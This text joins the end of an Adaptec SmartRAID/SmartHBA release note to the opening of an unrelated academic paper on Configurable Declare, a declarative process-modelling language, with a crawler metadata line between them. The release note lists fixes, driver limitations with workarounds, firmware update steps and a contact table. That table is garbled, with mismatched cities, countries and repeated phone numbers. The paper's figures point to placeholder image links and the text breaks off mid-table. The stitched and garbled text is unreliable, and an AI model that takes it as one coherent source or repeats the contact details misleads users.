cause**: The calculation of the strip size in blocks used when creating the logical drive assumed a physical drive block size of 512 bytes. • **Fix**: Modified the logical drive creation encoder logic to use the actual physical drive block size for the array instead of a hard coded value. • **Risk**: Low • **Fixed and issue where the Drive.Identifiers.DurableName value for NVMe drives did not conform to the standards regular expression.** • **Root cause**: The code to separate DurableName for NVMe drives with a colon was not implemented. • **Fix**: Modified the DurableName string for NVMe drives to separate each pair of characters with a colon. • **Risk**: Low • Fixed an issue where Volume CREATE requests succeeded with malformed data drive @odata.id strings. – Root cause: The validation of the @odata.id string did not enforce that the string contained at least one instance of the substring "/Drives/". – Fix: Modified the @odata.id string validation to enforce inclusion of the "/Drives/" substring prior to the drive collection index number. – Risk: Low • Fixed an issue where the Volume.Identifiers.DurableName value would not conform to the standards regular expression. – Root cause: The code to appropriately format the DurableName string was not implemented. – Fix: Added hyphens to the DurableName string for Volumes as needed to meet the spec requirement. – Risk: Low 2.2 Limitations This section shows the limitations for this release. 2.2.1 Firmware Limitations This section shows the firmware limitations for this release. 2.2.1.1 Limitations for Firmware Release 3.01.14.62 There are no known limitations for this release. 2.2.2 UEFI/Legacy BIOS Limitations This section shows the UEFI/Legacy BIOS limitations for this release. 2.2.2.1 Limitations for UEFI Build 2.2.4/Legacy BIOS Build 2.2.2 There are no known limitations for this release. 2.2.3 Driver Limitations This section shows the driver limitations for this release. 2.2.3.1 Windows Driver Limitations This section shows the Windows driver limitations for this release. 2.2.3.1.1 Limitations for Windows Driver Build 1010.42.0.1020 This release includes the following limitations: • The following are the limitations of Multi-Actuator: – Supports only • HBA drive • Direct-Attached • Windows/Linux/VMware • Intel/AMD • UEFI mode (for multi-LUN display) – No Storage Manager support – No boot support 2.2.3.2 Linux Driver Limitations This section shows the Linux driver limitations for this release. 2.2.3.2.1 Limitations for Linux Driver Build 2.1.18.045 This release includes the following limitations: • On AMD/RHEL 7.9 systems, the system might panic due to a bug in the IOMMU module. For details, see https://lore.kernel.org – Workaround: Disable the IOMMU setting option in BIOS. • The following are the limitations of Multi-Actuator: – Supports only • HBA drive • Direct-Attached • Windows/Linux/VMware • Intel/AMD • UEFI mode (for multi-LUN display) – No Storage Manager support – No boot support • On AMD/UEK6 systems, the system might hang during kdump if IOMMU is enabled. – Workaround: Disable IOMMU setting option in BIOS. • RHEL driver injection (DUD) install where OS ISO is mounted as virtual media on BMC based servers (non-IL0). Installer will hang after driver injection. Reported on RHEL 8.5, 8.6 and 9.0. – Workaround: Load OS from USB device instead of virtual media. Load OS from virtual media but initiation ISO verification (media test) during install followed by ESC to cancel media test. • This release includes the following limitation when doing a driver injection (DUD) install. On some distributions (RHEL7.9, RHEL8.2, RHEL8.3, SLES15SP2, SLES15SP3), the DUD install will hang if an attached drive (either HBA mode or Logical Volume) has Write Cache enabled. – Workaround: There are two workarounds for this issue: i. Make sure the Write Cache is disabled for any attached drive. ii. For RHEL7.9/8.2/8.3, add rd.driver.blacklist=smartpqi to the grub entry along with inst.dd. • Depending on hardware configurations, the smartpqi expose_id_first parameter may not always work consistently. – Workaround: None. • When multiple controllers are in a system, udev(systemd) can timeout during kdump/kexec resulting in an incomplete kdump operation. The usual indication of the timeout is the console log entry: "scsi_hostX: error handler thread failed to spawn, error = -4". – Workaround: Extend the udev(systemd) timeout during a kdump operation. The steps to increase the timeout for udev(systemd) are: i. vi /etc/sysconfig/kdump ii. add udev.event-timeout=300 to KDUMP_COMMANDLINE_APPEND iii. systemctl restart kdump iv. systemctl status kdump 2.2.3.3 VMware Driver Limitations This section shows VMware driver limitations for this release. 2.2.3.3.1 Limitations for VMware Driver Build 4330.0.116 This release includes the following limitations: • The following are the limitations of Multi-Actuator: – Supports only • HBA drive • Direct-Attached • Windows/Linux/VMware • Intel/AMD • UEFI mode (for multi-LUN display) – No Storage Manager support – No boot support 2.2.3.4 FreeBSD/Solaris Driver Limitations This section shows FreeBSD/Solaris driver limitations for this release. 2.2.3.4.1 Limitations for FreeBSD Driver Build 4280.0.1007 This release includes the following limitations. • FreeBSD OS installation on a NVMe physical device is not supported in this release. 2.2.3.4.2 Limitations for Solaris Driver Build 11.4120.0.1005 There are no known limitations for this release. 2.2.4 Management Software Limitations This section shows management software limitations for this release. 2.2.4.1 maxView Storage Manager/ARCCONF Limitations This section shows the maxView Storage Manager/ARCCONF limitations for this release. 2.2.4.1.1 Limitations for maxView Storage Manager/ARCCONF Build 25335 This release includes the following limitations. • With maxView B25335 build, user will not be able to modify the direct attached cable settings. – Workaround: Use the ARCCONF CLI tool as an alternate option or use the previous version of maxView. 2.2.4.2 PLDM Limitations This section shows the PLDM limitations for this release. 2.2.4.2.1 Limitations for PLDM Release 6.10.14.0 This release includes the following PLDM limitations: • Action Storage.ResetToDefault with a ResetType of 'ResetAll' is not supported when the controller has logical drives which are encrypted. – Workaround: None • RDE update on Drive.WriteCacheEnabled is unsupported for physical drives that are part of a logical drive. – Workaround: None 3. Updating the Controller Firmware This section describes how to update the controller firmware to the latest release. 3.1 Updating Controllers to Latest Firmware If running firmware is 3.01.00.006 or lower, please contact Adaptec Apps team at ask.adaptec.com. 3.1.1 Upgrading to 3.0X.XX.XXX Firmware 1. For controllers running 3.01.02.042 or higher firmware, flash with 3.0X.XX.XXX version of firmware "SmartFWx200.bin" provided in this package using maxview or ARCCONF utility. 2. Power cycle the server. ## 4. Revision History ### Table 4-1. Revision History <table> <thead> <tr> <th>Revision</th> <th>Date</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>G</td> <td>07/2022</td> <td>Updated fro SR 3.2.0 release.</td> </tr> <tr> <td>F</td> <td>02/2022</td> <td>VMware driver version changed from 4250.0.120 to 4252.0.103.</td> </tr> <tr> <td>E</td> <td>02/2022</td> <td>Updated for SR 3.1.8 release.</td> </tr> <tr> <td>D</td> <td>12/2021</td> <td>Updated for SR 3.1.6.1 release. Updated Fixes and Enhancements for maxView Storage Manager/ARCCONF section for log4j vulnerabilities.</td> </tr> <tr> <td>C</td> <td>11/2021</td> <td>Updated for SR 3.1.6 release.</td> </tr> <tr> <td>B</td> <td>08/2021</td> <td>Updated for SR 3.1.4 release.</td> </tr> <tr> <td>A</td> <td>06/2021</td> <td>Document created.</td> </tr> </tbody> </table> The Microchip Website Microchip provides online support via our website at www.microchip.com/. This website is used to make files and information easily available to customers. Some of the content available includes: - **Product Support** – Data sheets and errata, application notes and sample programs, design resources, user’s guides and hardware support documents, latest software releases and archived software - **General Technical Support** – Frequently Asked Questions (FAQs), technical support requests, online discussion groups, Microchip design partner program member listing - **Business of Microchip** – Product selector and ordering guides, latest Microchip press releases, listing of seminars and events, listings of Microchip sales offices, distributors and factory representatives Product Change Notification Service Microchip’s product change notification service helps keep customers current on Microchip products. Subscribers will receive email notification whenever there are changes, updates, revisions or errata related to a specified product family or development tool of interest. To register, go to www.microchip.com/pcn and follow the registration instructions. Customer Support Users of Microchip products can receive assistance through several channels: - Distributor or Representative - Local Sales Office - Embedded Solutions Engineer (ESE) - Technical Support Customers should contact their distributor, representative or ESE for support. Local sales offices are also available to help customers. A listing of sales offices and locations is included in this document. Technical support is available through the website at: www.microchip.com/support Microchip Devices Code Protection Feature Note the following details of the code protection feature on Microchip products: - Microchip products meet the specifications contained in their particular Microchip Data Sheet. - Microchip believes that its family of products is secure when used in the intended manner, within operating specifications, and under normal conditions. - Microchip values and aggressively protects its intellectual property rights. Attempts to breach the code protection features of Microchip product is strictly prohibited and may violate the Digital Millennium Copyright Act. - Neither Microchip nor any other semiconductor manufacturer can guarantee the security of its code. Code protection does not mean that we are guaranteeing the product is “unbreakable”. Code protection is constantly evolving. Microchip is committed to continuously improving the code protection features of our products. Legal Notice This publication and the information herein may be used only with Microchip products, including to design, test, and integrate Microchip products with your application. Use of this information in any other manner violates these terms. Information regarding device applications is provided only for your convenience and may be superseded by updates. It is your responsibility to ensure that your application meets with your specifications. Contact your local Microchip sales office for additional support or, obtain additional support at www.microchip.com/en-us/support/design-help/client-support-services. Quality Management System For information regarding Microchip's Quality Management Systems, please visit www.microchip.com/quality. <table> <thead> <tr> <th>AMERICAS</th> <th>ASIA/PACIFIC</th> <th>ASIA/PACIFIC</th> <th>EUROPE</th> </tr> </thead> <tbody> <tr> <td>China</td> <td>86-10-8569-7000</td> <td>91-41-460-8631</td> <td>43-7242-2244-393</td> </tr> <tr> <td>India</td> <td>86-28-8665-5511</td> <td>91-20-4121-0141</td> <td>45-4485-5910</td> </tr> <tr> <td>Japan</td> <td>86-23-8980-9588</td> <td>81-6-6152-7160</td> <td>45-4485-2829</td> </tr> <tr> <td>Malaysia</td> <td>86-2-9860-9880</td> <td>86-3-6880-3770</td> <td>358-9-4520-820</td> </tr> <tr> <td>China</td> <td>86-8-532-8502-7355</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>China</td> <td>86-8-575-8864-2200</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>China</td> <td>86-8-186-6233-1526</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>China</td> <td>86-8-29-8833-7252</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>China</td> <td>86-758-3210040</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>India - Bangalore</td> <td>91-80-3090-4444</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>India - New Delhi</td> <td>91-11-460-8631</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>India - Pune</td> <td>91-20-4121-0141</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>Japan - Osaka</td> <td>81-6-6152-7160</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>Japan - Tokyo</td> <td>81-6-6880-3770</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>Korea - Daegu</td> <td>82-53-744-4301</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>Korea - Seoul</td> <td>82-2-554-7200</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>Malaysia - Kuala Lumpur</td> <td>60-3-7651-7906</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>Malaysia - Penang</td> <td>60-4-227-8870</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>Singapore</td> <td>65-6334-8870</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>Taiwan - Hsin Chu</td> <td>886-3-577-8366</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>Taiwan - Kaohsiung</td> <td>886-7-213-7830</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> <tr> <td>Taiwan - Taipei</td> <td>886-2-2508-8600</td> <td>86-2-53-744-4301</td> <td>33-1-69-536-620</td> </tr> </tbody> </table> © 2022 Microchip Technology Inc. and its subsidiaries.
{"Source-Url": "https://download.adaptec.com/pdfs/readme/adaptec_smarthba_smartraid_x200_relnotes_8_2022.pdf", "len_cl100k_base": 13741, "olmocr-version": "0.1.53", "pdf-total-pages": 25, "total-fallback-pages": 0, "total-input-tokens": 59159, "total-output-tokens": 15230, "length": "2e13", "weborganizer": {"__label__adult": 0.000988006591796875, "__label__art_design": 0.00113677978515625, "__label__crime_law": 0.0004835128784179687, "__label__education_jobs": 0.0005655288696289062, "__label__entertainment": 0.0002193450927734375, "__label__fashion_beauty": 0.0005097389221191406, "__label__finance_business": 0.0013370513916015625, "__label__food_dining": 0.0004754066467285156, "__label__games": 0.003696441650390625, "__label__hardware": 0.150390625, "__label__health": 0.0004363059997558594, "__label__history": 0.0003964900970458984, "__label__home_hobbies": 0.0005192756652832031, "__label__industrial": 0.0034732818603515625, "__label__literature": 0.0004868507385253906, "__label__politics": 0.0003273487091064453, "__label__religion": 0.0008978843688964844, "__label__science_tech": 0.039703369140625, "__label__social_life": 7.832050323486328e-05, "__label__software": 0.082763671875, "__label__software_dev": 0.708984375, "__label__sports_fitness": 0.0005955696105957031, "__label__transportation": 0.0010404586791992188, "__label__travel": 0.0002715587615966797}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 56987, 0.04802]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 56987, 0.07853]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 56987, 0.82666]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 2647, false], [2647, 6085, null], [6085, 7544, null], [7544, 9654, null], [9654, 12788, null], [12788, 16491, null], [16491, 20184, null], [20184, 23069, null], [23069, 25495, null], [25495, 29107, null], [29107, 32304, null], [32304, 35559, null], [35559, 37613, null], [37613, 40500, null], [40500, 43981, null], [43981, 46134, null], [46134, 48646, null], [48646, 50019, null], [50019, 50541, null], [50541, 51176, null], [51176, 54411, null], [54411, 54411, null], [54411, 54544, null], [54544, 56987, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 2647, true], [2647, 6085, null], [6085, 7544, null], [7544, 9654, null], [9654, 12788, null], [12788, 16491, null], [16491, 20184, null], [20184, 23069, null], [23069, 25495, null], [25495, 29107, null], [29107, 32304, null], [32304, 35559, null], [35559, 37613, null], [37613, 40500, null], [40500, 43981, null], [43981, 46134, null], [46134, 48646, null], [48646, 50019, null], [50019, 50541, null], [50541, 51176, null], [51176, 54411, null], [54411, 54411, null], [54411, 54544, null], [54544, 56987, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 56987, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 56987, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 56987, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 56987, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 56987, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 56987, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 56987, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 56987, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 56987, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 56987, null]], "pdf_page_numbers": [[0, 0, 1], [0, 2647, 2], [2647, 6085, 3], [6085, 7544, 4], [7544, 9654, 5], [9654, 12788, 6], [12788, 16491, 7], [16491, 20184, 8], [20184, 23069, 9], [23069, 25495, 10], [25495, 29107, 11], [29107, 32304, 12], [32304, 35559, 13], [35559, 37613, 14], [37613, 40500, 15], [40500, 43981, 16], [43981, 46134, 17], [46134, 48646, 18], [48646, 50019, 19], [50019, 50541, 20], [50541, 51176, 21], [51176, 54411, 22], [54411, 54411, 23], [54411, 54544, 24], [54544, 56987, 25]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 56987, 0.16345]]}
olmocr_science_pdfs
2024-12-11
2024-12-11
63308237c92b58ab195ecf1afd1c4a8c11f61560
Configurable Declare: Designing Customisable Flexible Models Dennis M. M. Schunselaar*, Fabrizio M. Maggi†, Natalia Sidorova, and Wil M. P. van der Aalst* Department of Mathematics and Computer Science, Eindhoven University of Technology, P.O. Box 513, 5600 MB, Eindhoven, The Netherlands {d.m.m.schunselaar, f.m.maggi, n.sidorova, w.m.p.v.d.aalst}@tue.nl Abstract. Declarative languages are becoming more popular for modelling business processes with a high degree of variability. Unlike procedural languages, where the models define what is to be done, a declarative model specifies what behaviour is not allowed, using constraints on process events. In this paper, we study how to support configurability in such a declarative setting. We take Declare as an example of a declarative process modelling language and introduce Configurable Declare. Configurability is achieved by using configuration options for event hiding and constraint omission. We illustrate our approach using a case study, based on process models of ten Dutch municipalities. A Configurable Declare model is constructed supporting the variations within these municipalities. Keywords: business process modelling, configurable process models, declarative process models, Declare 1 Introduction Process-aware information systems [4], such as workflow management systems, case-handling systems and enterprise information systems, are used in many branches of industry and governmental organisations. Process models form the heart of such systems since they define the flow of task executions. Traditionally, the languages used for process modelling are procedural languages, since they are very appropriate for describing well-structured processes with a predefined flow. At the same time, procedural models become very complex for environments with high variability, since every possible execution path has to be encoded in the model. In the most extreme cases, like specifications of some medical * This research has been carried out as part of the Configurable Services for Local Governments (CoSeLoG) project (http://www.win.tue.nl/coselog/). † This research has been carried out as a part of the Poseidon project at Thales under the responsibilities of the Embedded Systems Institute (ESI). The project is partially supported by the Dutch Ministry of Economic Affairs under the BSIK program. protocols, the process flow cannot be completely predefined, and the procedural way of modelling becomes impossible. Unlike procedural languages, specifying what should be done, declarative languages specify which constraints may not be violated, and therefore they allow for comprehensible descriptions of processes with a high degree of variability. Declarative languages are also very appropriate for defining compliance models, which specify what should (not) be done instead of saying how it should be done. Consider, for instance, the set of rules in Fig. 1 from our case study. By translating this simple set of rules into an automaton\(^1\), we obtain the procedural model in Fig. 2 that is much more complex. \(^1\) We have used the Declare tool (http://www.win.tue.nl/declare/) for the translation of Declare models to automata In recent years, a number of declarative process modelling languages were developed [1,10,11,14] and proven to be more suitable for certain application do- mains than procedural languages [6,12,19]. Nevertheless, since declarative pro- cess modelling languages attracted the attention of the research community at the later stage, when procedural languages were already massively used, there are still serious gaps in the domain of declarative process modelling which are still to be filled in. In this paper, we address one such a gap: configurability of declarative process models. Nowadays, many branches of industry have semi-standardised collections of process models. Within one branch, process models of different organisations are often very similar due to legislation and (partial) standardisation, e.g., processes for registering a birth or extending a driving license would be very similar to each other for different municipalities. A one-size-fits-all approach with full stan- dardisation of processes is however often inappropriate, as these organisations have good reasons for using specific variants of these common processes. Configurable process models were introduced to solve the aforementioned problems [8,9]. They allow the user to change some parts of the model towards the user’s preferences. This solves the one-size-fits-all problem and improves maintainability of processes since it becomes possible to describe several slightly different models by a single configurable model. When the configurable model is changed, all process models are updated automatically. To the best of our knowledge, the only kind of existing configurable process models are procedural models. In this paper, we study in which way configurability in the declarative context is different from configurability in the procedural context. For this purpose, we consider the example declarative language Declare [11], in which constraints are LTL-formulas evaluated on traces of events executed in a process, and we define Configurable Declare. Since a declarative process model is a set of constraints over a set of events (representing the completion of a specific task in a business process), the configuration options we include in Configurable Declare are (1) hiding an event and (2) omitting a constraint. Through a configuration, it is possible to specify, for each configuration option, a boolean value that indicates whether a hideable event must be hidden or an omittable constraint must be omitted in the configured model. Like most declarative languages, Declare works under the open world as- sumption, and, therefore, hiding an event does not mean forbidding this event to be executed. As the name suggests, hiding means allowing some event to be- come unobservable, unmonitored, unlogged. The behaviour of a model in which an event is hidden should remain the same as it was modulo this event. In the case of a Declare model, where process behaviour is considered to be defined by the set of traces (language) compliant with the model, hiding an event should result in a model with the same language modulo the hidden event. To achieve language preservation, we take into account implicit constraints that would be lost if we simply removed from the model the event and the con- straints connected to the event. For example, consider a model with constraints “every paper submission is followed by a review” and “every review is followed by sending a notification letter” in which the event “review” gets hidden. This implies that the two constraints we have will be removed together with the event. To preserve the language modulo the hidden event “review”, we have to include the implicit constraint “every paper submission is followed by sending a notification letter” into the configured model. We define a derivation scheme for implicit constraints that allows us to have a sound transformation of a configurable model and a configuration to a configured model. Since some configurations might lead to uninteresting or undesirable process variants, we introduce meta-constraints, which are defined as logical expressions over configuration choices, e.g., “if event A is hidden, then event B is not hidden”. Meta-constraints, in fact, restrict possible configurations to configurations that make sense from the content-wise perspective. To support process modelling with Configurable Declare, we have developed ConfDeclare [16]. We have used this tool in the context of the CoSeLoG project for a case study based on process models from ten Dutch municipalities. These models represent the production of an excerpt from the civil registration. In particular, starting from the different variants of the process (one for each municipality) we build a Configurable Declare model from which these variants can be derived. Related Work Configurable process models have been defined for a number of procedural modelling languages, e.g., C-SAP WebFlow, C-BPEL, C-YAWL [8], CoSeNets [18], and C-EPC [13]. Imperative configurable process models support a number of standard operations. Some patterns for procedural configurable models have been identified to support these operations [2,3,8,15]. Configurable Declare supports those patterns that can be mirrored to the declarative approach. The paper is structured as follows: Section 2 gives a brief introduction to Declare. In Section 3, we introduce Configurable Declare. Section 4 explains the configuration steps: hiding an event and omitting a constraint. In Section 5, we show how to derive a Declare model from a Configurable Declare model and a configuration. Finally, in Section 6, we draw some conclusions and discuss directions for future work. 2 Declare: A User-Friendly Declarative Language A process can be described by using different types of modelling languages. Process modelling languages can be classified according to two categories: procedural and declarative. A procedural model works with a “closed world” assumption, i.e., it explicitly specifies all the acceptable sequences of events in the process and everything that is not mentioned in the model is forbidden. Procedural process models can be used to provide a high level of operating support to participants 2 http://www.win.tue.nl/coselog/ Table 1. FLTL operators semantics <table> <thead> <tr> <th>operator</th> <th>semantics</th> </tr> </thead> <tbody> <tr> <td>□φ</td> <td>φ has to hold in all the subsequent positions of a path.</td> </tr> <tr> <td>◊φ</td> <td>φ has to hold eventually (somewhere) in the subsequent positions of a path.</td> </tr> <tr> <td>φ Uψ</td> <td>φ has to hold in a path at least until ψ holds and ψ must hold in the current or in some future position.</td> </tr> </tbody> </table> who simply follow one of the allowed sequences in the model during the process execution. Therefore, this type of models is optimal in environments that are stable and where the process flow can be fully described in the model. In contrast, a declarative model describes a process through constraints that should not be violated by the process execution. A declarative process model works with an “open world” assumption, i.e., any event is allowed unless it is explicitly forbidden by some constraint. This type of models can be used in highly dynamic environments where processes have a low degree of predictability. This is optimal when participants make decisions themselves and adapt the process flow accordingly (e.g., a doctor in a procedure to treat a fracture). Using declarative models for such processes allows for compact, readable representations. In this paper, we study configurability of declarative process modelling languages taking Declare as an example of these languages. We explain here the basics of Declare necessary in the context of configurability and we refer the reader to [11] for a complete description of the language. Declare has formal semantics based on the use of a temporal logic, but the modeler is not confronted with this formal side, since the language has a user-friendly graphical notation capturing behavioural patterns expressible as temporal logic formulas. These patterns are a superset of the ones identified by Dwyer et al. in [5] and each of them has a specific graphical notation and semantics. Given that business processes eventually terminate, Declare reasons on finite traces of events and uses a variant of LTL for finite traces called FLTL [7]. Table 1 contains the main FLTL operators and their semantics. Fig. 3 shows the graphical notation for the response constraint (response(A,B)) in Declare. The semantics of this constraint is captured in FLTL by □(A ⇒ ◊B) (“every occurrence of event A is eventually followed by an occurrence of event B). In Table 2, we summarise the graphical notation and the FLTL semantics of the Declare constraints used in this paper. A Declare model can be seen as a set of constraints, i.e., a conjunction of FLTL formulas over events. Formally, a Declare model can be defined as follows: ![Fig. 3. The response constraint between A and B](image) Table 2. Graphical notation and FLTL semantics of the Declare constraints used in this paper <table> <thead> <tr> <th>constraint</th> <th>FLTL semantics</th> <th>graphical notation</th> </tr> </thead> <tbody> <tr> <td>response($A,B$)</td> <td>$\Box(A \Rightarrow \Diamond B)$</td> <td><img src="https://example.com/diagram.png" alt="Diagram" /></td> </tr> <tr> <td>precedence($A,B$)</td> <td>$\neg B \cup A \cup \Box \neg B$</td> <td><img src="https://example.com/diagram.png" alt="Diagram" /></td> </tr> <tr> <td>succession($A,B$)</td> <td>$\text{response}(A,B) \land \text{precedence}(A,B)$</td> <td><img src="https://example.com/diagram.png" alt="Diagram" /></td> </tr> <tr> <td>alternate response($A,B$)</td> <td>$\Box(A \Rightarrow \Diamond \neg A \cup \Diamond B)$</td> <td><img src="https://example.com/diagram.png" alt="Diagram" /></td> </tr> <tr> <td>exclusive 1 of 2($A,B$)</td> <td>$(\Diamond A \land \Box \neg B) \lor (\neg \Diamond A \land \Diamond B)$</td> <td><img src="https://example.com/diagram.png" alt="Diagram" /></td> </tr> <tr> <td>init($A$)</td> <td>$A$</td> <td><img src="https://example.com/diagram.png" alt="Diagram" /></td> </tr> </tbody> </table> Definition 1 (Declare Model). A **Declare model** is a pair $M = (E, C)$, where $E$ is a set of events and $C$ is a set of FLTL formulas over events in $E$. A trace of events belongs to the language of a Declare model, if it satisfies all the constraints of this model: Definition 2 (Language). The language of a Declare model $M = (E, C)$, namely $\mathcal{L}(M)$, is the set of all traces satisfying all the constraints from $C$. The formal semantics allows every Declare model to be executable and verifiable. To verify the validity of a constraint on a trace, the corresponding FLTL formula can be translated to a finite state automaton that accepts those and only those traces on which the formula is satisfied. The automaton for the response constraint in Fig. 3 is shown in Fig. 4; the initial state (marked by an edge with no origin) is here also an accepting state (indicated using a double outline). When event $A$ happens, the state of the automaton is changed to a non-accepting state; it changes back to the initial accepting state only when a event $B$ happens. Next to the positive labels, we also have negative labels (e.g., $\neg A$). They indicate that we can follow the transition for any event not mentioned (e.g., we can execute event $C$ from the initial state and remain in the ![Diagram](https://example.com/diagram.png) **Fig. 4.** Automaton for $\text{response}(A,B)$ same state). This allows us to use the same automaton regardless of the input language, taking into account the open-world assumption. To verify the validity of a Declare model \( M = (E, C) \) for a trace, we consider the automaton obtained from the conjunction of the constraints in the model. Fig. 1 shows a simple Declare model describing the process for requesting an excerpt from the civil registration in a Dutch municipality. This model is part of a case study conducted in collaboration with ten Dutch municipalities in the CoSeLoG project. These municipalities model (and execute) this process in different, but still very similar ways, which makes it interesting in the context of configurability. The Declare model in Fig. 1 involves nine events, depicted as rectangles, (e.g., Send payment request) and nine constraints, showed as connectors between the events (e.g., succession). Events represent the completion of a specific task in the business process. Constraints highlight mandatory and forbidden behaviours, implicitly identifying the acceptable sequences of events that comply with the model. The constraint \( \text{init} \) shows that Fill in e-form must be the first task performed in the process; note that it is not forbidden to execute this task again later on. Since it is necessary to exactly evaluate the total amount of administrative expenses before formulating a payment request, Send payment request can be performed only after having performed Determine administrative expenses, as indicated by the precedence constraint between the two events. Fill in payment information must eventually be followed by Process payment, and Process payment cannot complete before that Fill in payment information is completed, which is captured by the succession constraint, being the combination of precedence and response constraints. The exclusive choice between events Stop (that stops the procedure) and Fill in payment information, depicted as a line with a black diamond, indicates that one of these two events must be performed in the process but not both. The response constraint between Produce excerpt and sign it and Archive indicates that whenever Produce excerpt and sign it is executed, Archive must eventually follow. 3 Configurable Declare In this section, we introduce Configurable Declare, an extension of Declare. While in imperative languages, where the focus is on modelling the allowed behaviour, configuration options aim at making some behaviour optional (e.g., by blocking an event), in declarative languages the focus is on modelling restrictions on the behaviour, and therefore our configuration options will aim at making the restrictions optional. One reason to make some restrictions in the model optional can come from the inability to execute, control or monitor an event in some context. In this case, we want to allow for hiding an event depending on the configuration chosen. Another way to remove some restriction is by removing constraints from the model. Therefore, Configurable Declare introduces the possibility of anno- tating some constraints as omittable. Finally, we use meta-constraints to define which options for configuring the model are combinable and which not. Formally, we define a Configurable Declare model as: **Definition 3 (Configurable Declare Model).** A Configurable Declare model is a tuple \((M, E_h, C_o, MC)\) where: - \(M = (E, C)\) is a Declare model, - \(E_h \subseteq E\) is a set of hideable events (graphically represented as in Fig. 5(a)), - \(C_o \subseteq C\) is a set of omittable constraints (graphically represented as in Fig. 5(b)), and - \(MC\) is a set of meta-constraints and each meta-constraint defines a narrowing of the function space \((E_h \cup C_o) \rightarrow \mathbb{B}\). We call this narrowing the configuration space of the Configurable Declare model. For the sake of readability, we overload the notation used and write, for example, \(\neg e \Rightarrow (\neg c_1 \land \neg c_2)\) for the meta-constraint saying that if hideable event \(e\) is hidden, then omittable constraints \(c_1\) and \(c_2\) must be omitted, which implies that the configuration space only include functions, whose values on \(e, c_1\) and \(c_2\) obey the meta-constraint. To configure a Configurable Declare model, the user has to make, for each hideable event and omittable constraint, a configuration choice specifying whether a hideable event should be hidden, and whether an omittable constraint should be omitted in the configured model. **Definition 4 (Configuration).** Let \(M_{conf} = (M, E_h, C_o, MC)\) be a Configurable Declare model. A configuration of \(M_{conf}\) is a function \(conf : (E_h \cup C_o) \rightarrow \mathbb{B}\) from the configuration space of \(M_{conf}\). By applying a configuration to a Configurable Declare model, we obtain a configured model, which is one of the possible variants deducible from the given Configurable Declare model. ### 4 Configuration Steps We choose a two-step approach for defining a configuration of a Configurable Declare model. In the first step – abstraction – the user defines the part of the configuration that specifies which hideable events must be hidden in the configured model, thus setting the context for this model. The Configurable Declare model is, then, transformed into a modified Configurable Declare model obtained by hiding the events that must be hidden according to the configuration. In the second step—configuring constraints—the user defines the part of the configuration that specifies which omittable constraints must be omitted in the configured model. Starting from the modified Configurable Declare model obtained in the first step, the configured model is derived by omitting the constraints that must be omitted according to the defined configuration. 4.1 Abstraction In the abstraction step, the user defines a configuration over the hideable events by choosing (not) to hide events that are hideable in the Configurable Declare model. Note that hiding an event in a Declare model does not mean that it cannot occur, but it means that it is not monitored, implying that there can be no constraints restricting the execution of that event. In this step, the user can possibly hide events which are involved in implicit constraints, i.e., constraints that can be deduced from other (explicit) constraints. Consider, for instance, the model in Fig. 6 where every A is eventually followed by B, and every B is eventually followed by C. By transitivity, also every A is eventually followed by C, which is an implicit constraint. Similarly to hiding in other settings (e.g., in the process algebra context), we want a model derived by hiding B to be visible-language-equivalent to the model where B is not hidden (with the hidden event considered to be invisible, like a \( \tau \)-event). When hiding B, we cannot simply remove B together with all the constraints connected to B, since this would also remove the implicit constraint between A and C. To maintain the language equivalence, we have to take the implicit Table 3. An excerpt of the language equivalences after the \( \tau \)-abstraction of B <table> <thead> <tr> <th>Language Expression</th> <th>Equivalence</th> </tr> </thead> <tbody> <tr> <td>( L^{B=\tau}(\text{response}(A,B) \land \text{response}(B,C)) )</td> <td>( L(\text{response}(A,C)) )</td> </tr> <tr> <td>( L^{B=\tau}(\text{response}(A,B) \land \text{succession}(B,C)) )</td> <td>( L(\text{response}(A,C)) )</td> </tr> <tr> 